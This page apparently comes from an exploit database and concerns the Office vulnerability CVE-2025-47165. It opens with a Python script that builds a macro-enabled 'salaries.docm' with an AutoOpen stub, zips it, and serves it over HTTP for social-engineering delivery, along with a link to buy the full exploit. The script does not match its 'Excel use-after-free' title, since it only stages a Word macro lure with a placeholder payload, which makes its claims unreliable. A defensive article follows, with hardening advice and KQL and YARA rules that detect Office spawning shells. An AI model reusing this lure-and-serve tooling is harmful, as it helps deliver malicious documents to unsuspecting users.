Microsoft Excel 2024 Use after free - Remote Code Execution (RCE)

Exploit Author: nu11secur1ty Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2025-06-26
# Exploit Title: Microsoft Excel 2024 Use after free - Remote Code Execution (RCE)
# Author: nu11secur1ty
# Date: 06/24/2025
# Vendor: Microsoft
# Software: https://www.microsoft.com/en/microsoft-365/excel?market=af
# Reference:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47165
# CVE: CVE-2025-47165
# Versions: Microsoft Office LTSC 2024 , Microsoft Office LTSC 2021,
Microsoft 365 Apps for Enterprise

# Description:
The attacker can trick any user into opening and executing their code by
sending a malicious DOCM file via email or a streaming server. After the
execution of the victim, his machine can be infected or even worse than
ever; this could be the end of his Windows machine! WARNING: AMPOTATE THE
MACROS OPTIONS FROM YOUR OFFICE 365!!!

#!/usr/bin/python

import os
import sys
import pythoncom
from win32com.client import Dispatch
import http.server
import socketserver
import socket
import threading
import zipfile

PORT = 8000
DOCM_FILENAME = "salaries.docm"
ZIP_FILENAME = "salaries.zip"
DIRECTORY = "."

def create_docm_with_macro(filename=DOCM_FILENAME):
    pythoncom.CoInitialize()
    word = Dispatch("Word.Application")
    word.Visible = False

    try:
        doc = word.Documents.Add()
        vb_project = doc.VBProject
        vb_component = vb_project.VBComponents("ThisDocument")

        macro_code = '''
Sub AutoOpen()
      //YOUR EXPLOIT HERE
      // All OF YPU PLEASE WATCH THE DEMO VIDEO
      // Best Regards to packetstorm.news and OFFSEC
End Sub
'''

        vb_component.CodeModule.AddFromString(macro_code)

        doc.SaveAs(os.path.abspath(filename), FileFormat=13)
        print(f"[+] Macro-enabled Word document created: {filename}")

    except Exception as e:
        print(f"[!] Error creating document: {e}")
    finally:
        doc.Close(False)
        word.Quit()
        pythoncom.CoUninitialize()

def zip_docm(docm_path, zip_path):
    with zipfile.ZipFile(zip_path, 'w', compression=zipfile.ZIP_DEFLATED)
as zipf:
        zipf.write(docm_path, arcname=os.path.basename(docm_path))
    print(f"[+] Created ZIP archive: {zip_path}")

def get_local_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.connect(("8.8.8.8", 80))
        ip = s.getsockname()[0]
    except Exception:
        ip = "127.0.0.1"
    finally:
        s.close()
    return ip

class Handler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, directory=DIRECTORY, **kwargs)

def run_server():
    ip = get_local_ip()
    print(f"[+] Starting HTTP server on http://{ip}:{PORT}")
    print(f"[+] Place your macro docm and zip files in this directory to
serve them.")
    print(f"[+] Access the ZIP file at: http://{ip}:{PORT}/{ZIP_FILENAME}")
    with socketserver.TCPServer(("", PORT), Handler) as httpd:
        print("[+] Server running, press Ctrl+C to stop")
        httpd.serve_forever()

if __name__ == "__main__":
    if os.name != "nt":
        print("[!] This script only runs on Windows with MS Word
installed.")
        sys.exit(1)

    print("[*] Creating the macro-enabled document...")
    create_docm_with_macro(DOCM_FILENAME)

    print("[*] Creating ZIP archive of the document...")
    zip_docm(DOCM_FILENAME, ZIP_FILENAME)

    print("[*] Starting HTTP server in background thread...")
    server_thread = threading.Thread(target=run_server, daemon=True)
    server_thread.start()

    try:
        while True:
            pass  # Keep main thread alive
    except KeyboardInterrupt:
        print("\n[!] Server stopped by user.")


```

# Reproduce:
[href](https://www.youtube.com/watch?v=CSb76-OG-Tg)

# Buy an exploit only:
[href](https://satoshidisk.com/pay/COiBVA)

# Time spent:
01:37:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>




-- 

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstorm.news/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


Microsoft Excel 2024 Use‑After‑Free (CVE-2025-47165): Technical Overview, Impact, and Defenses

This article provides a technical, defensible analysis of a Microsoft Office vulnerability tracked as CVE‑2025‑47165 and publicly documented by Microsoft. It explains the underlying use‑after‑free class of bug, the likely exploitation chain at a high level, affected products, detection and mitigation strategies, and practical incident response guidance. The goal is to inform defenders and administrators so they can prioritize patching and harden environments — not to provide exploit recipes.

Executive summary

  • CVE‑2025‑47165 is a use‑after‑free vulnerability in Microsoft Office components (notably Excel/Office processing) that can lead to remote code execution (RCE) if a user opens a specially crafted file.
  • Affected products include Microsoft Office LTSC 2024, LTSC 2021, and Microsoft 365 Apps for Enterprise (per Microsoft advisory).
  • The primary mitigations are applying vendor patches, enforcing macro and Protected View policies, and implementing endpoint controls (ASR, EDR, application control).
  • Defenders should hunt for post‑exploit behaviour (Office processes spawning unusual child processes, suspicious network callbacks, or newly written binaries), and prioritize patching and user education.

What is a use‑after‑free and why it matters

A use‑after‑free (UAF) occurs when software frees memory (releases an object) but later continues to reference and use that freed memory. Attackers can sometimes manipulate allocations so that the freed memory is reallocated with attacker‑controlled data. When code later dereferences that pointer assuming it points to a valid object, the attacker can influence control flow, corrupt data, or hijack execution — potentially leading to remote code execution.

In Office applications, complex file parsing and embedded scripting/macros increase the attack surface. If a UAF exists in the parsing logic of an Office component (for example, workbook/worksheet or embedded object handling), a crafted document can trigger the bug when opened, giving an attacker the ability to execute code in the security context of the user.

High‑level exploitation chain (defensive view)

  • Attacker crafts a malicious Office file that triggers the UAF condition when parsed by Excel/Office.
  • File is delivered to the target (e.g., email attachment, web download, or shared drive). Social engineering is typically used to induce the user to open it.
  • When the victim opens the file, the UAF is triggered and exploitation yields code execution. In many real‑world cases, attackers combine the memory bug with scripting (macros) or shellcode to gain persistence.
  • Post‑execution behaviours include spawning command shells, fetching additional payloads, or establishing remote access; these are primary detection opportunities for defenders.

Affected products and patching

ProductImpactAction
Microsoft Office LTSC 2024Remote Code ExecutionInstall Microsoft security update provided in MSRC advisory / vendor KB
Microsoft Office LTSC 2021Remote Code ExecutionInstall Microsoft security update provided in MSRC advisory / vendor KB
Microsoft 365 Apps for EnterpriseRemote Code ExecutionApply update via Microsoft Update / Office update channels

Administrators should consult the official Microsoft Security Response Center (MSRC) advisory for exact KB numbers and deployed build versions. If your organization uses managed update channels, coordinate staged rollouts and confirm patch deployment with inventory tools (WSUS, SCCM/ConfigMgr, Intune).

Immediate mitigations (prioritized)

  • Install the vendor patch as top priority.
  • Block or restrict macros: enforce "Disable all macros except digitally signed macros" or "Disable all macros with notification" via Group Policy.
  • Enable Office Protected View for files from the Internet and require user interaction to remove Protected View.
  • Use Attack Surface Reduction (ASR) rules in Microsoft Defender for Endpoint to block Office applications from creating child processes (e.g., block Office spawning powershell.exe/cmd.exe).
  • Harden mail gateways and web proxies to reduce delivery of malicious documents (content disarm/rewrap, file reputation scanning, block attachment types if possible).
  • Implement application control (AppLocker / Windows Defender Application Control) to prevent untrusted binaries from executing.

Detection and hunting guidance

Because post‑exploit activity is often more detectable than the initial memory corruption, hunts should focus on anomalous behaviours following Office process activity.

  • Monitor Office processes (WINWORD.EXE, EXCEL.EXE, POWERPNT.EXE) for unusual child processes such as cmd.exe, powershell.exe, wscript.exe, cscript.exe, regsvr32.exe, rundll32.exe, or mshta.exe.
  • Detect Office processes performing network activity shortly after file open or creating new files in Temp directories.
  • Look for newly written or executed binaries in user profile locations and the TEMP folder following Office usage.
  • Alert on macros with AutoOpen or AutoExec patterns, or on Office documents downloaded from remote/Internet zones and then opened.

Sample defensive queries and signatures

Below are safe, defensive examples: a Kusto Query Language (KQL) alert to find Office processes launching PowerShell, and a YARA rule to flag Office files containing common macro autorun keywords. These are detection primitives; tune and test them to your environment to reduce false positives.

// KQL example for hunting Office process spawning PowerShell or cmd.exe
DeviceProcessEvents
| where InitiatingProcessFileName has_any ("WINWORD.EXE","EXCEL.EXE","POWERPNT.EXE")
| where FileName has_any ("powershell.exe","pwsh.exe","cmd.exe","cscript.exe","wscript.exe","mshta.exe")
| where Timestamp > ago(30d)
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine

Explanation: This query searches endpoint process telemetry for instances where an Office application is the parent of a suspicious child process (PowerShell, cmd, script hosts, or mshta). It helps identify likely post‑exploit activity immediately after a document is opened.


// YARA-like signature (safe and generic) for documents containing macro autorun keywords
rule Office_Macro_AutoRun
{
    meta:
        author = "Defender Example"
        description = "Generic detection for Office macro autorun keywords"
    strings:
        $a1 = "AutoOpen" ascii
        $a2 = "Workbook_Open" ascii
        $a3 = "AutoExec" ascii
        $a4 = "Document_Open" ascii
    condition:
        any of ($a*)
}

Explanation: This YARA snippet flags files that contain common macro autorun function names. It's intentionally generic; attackers may obfuscate, so pair this with other indicators, such as file origin and whether macros were enabled.

Hardening Office and enterprise controls

  • Group Policy: Block macros from the Internet. Set "VBA Macro Notification Settings" to a restrictive setting and enable "Block macros from running in Office files from the Internet".
  • Enable Protected View for files originating from the Internet and for files attached to Outlook messages.
  • Require macros to be digitally signed by trusted publishers; revoke trust for unknown publishers.
  • Deploy Microsoft Defender SmartScreen and configure mail gateway rules to block or quarantine suspicious attachments and encrypted archives.
  • Use least privilege for users so successful RCE is limited to user context; consider Remove local admin rights and enable Credential Guard where appropriate.
  • Use EDR to watch for common post‑exploit tactics (process hollowing, reflective DLL loading, suspicious registry run keys).

Incident response checklist

  • Isolate the affected host from the network to prevent lateral movement.
  • Collect volatile data and endpoint telemetry: process trees, network connections, parent/child processes, command lines, and file creation events.
  • Identify the suspicious Office document(s) and preserve copies for analysis (hash values, metadata, VBA streams).
  • Search for indicators of compromise across the estate: similar document hashes, email attachments, URLs, or endpoint telemetry.
  • Perform user interviews to determine whether macros were enabled and to learn how the file was delivered.
  • Remediate: remove malicious files, reimage compromised hosts if persistence is suspected, rotate credentials used on the host, and restore from clean backups.
  • Report to your internal security team and, if required, to external authorities and vendors following legal and regulatory obligations.

Expert operational tips

  • Reduce attack surface by disabling legacy features not in use (e.g., legacy ActiveX controls or older file format handlers) via policy.
  • Use network segmentation to limit the blast radius from a single compromised workstation.
  • Implement and test EDR containment playbooks that automatically restrict network access or kill suspicious Office processes when high‑confidence indicators are triggered.
  • Conduct phishing/macro awareness training and simulated exercises to decrease click/enable macros rates.
  • Maintain a robust patch cadence and vulnerability management process — memory corruption bugs are frequently exploited soon after disclosure.

Responsible disclosure and legal considerations

If you discover exploit code or proof‑of‑concepts, do not publish or distribute exploit artifacts publicly. Coordinate with the vendor (Microsoft) and follow responsible disclosure best practices so that fixes can be validated and widely deployed before details that enable exploitation are shared. Sharing exploit code or step‑by‑step exploitation guidance publicly can enable malicious actors and is irresponsible.

References and further reading

  • Microsoft Security Response Center (MSRC) advisory for CVE‑2025‑47165 — consult for vendor mitigations and KBs.
  • Common resources on use‑after‑free exploitation and mitigations: memory safety research, DEP/NX, ASLR, Control Flow Guard (CFG).
  • Vendor guidance on Group Policy settings for macros and Protected View, and documentation for Attack Surface Reduction (ASR) rules.

By combining timely patching, layered Office hardening, endpoint detection, and user awareness, organizations can significantly reduce the risk posed by memory corruption vulnerabilities such as CVE‑2025‑47165. Treat this class of vulnerabilities as high priority, and ensure security controls and monitoring are in place to detect the likely post‑exploit behaviours.